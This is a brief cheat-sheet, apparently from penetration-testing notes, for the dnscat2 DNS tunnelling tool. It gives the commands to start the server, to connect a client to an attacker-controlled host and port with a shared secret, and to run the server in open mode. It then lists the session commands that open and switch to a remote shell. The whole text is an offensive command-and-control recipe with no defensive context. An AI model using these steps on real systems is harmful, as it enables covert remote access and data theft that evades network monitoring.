https://github.com/iagox86/dnscat2
ruby dnscat2.rb
.\dnscat2 --dns server=<lhost>,port=<lport> --secret=<secret>
ruby dnscat2.rb --security=open --no-cache --dns domain=<domain>
dns> session
dns> session -i <id>
shell
CTRL + z
dns> session -i <newId>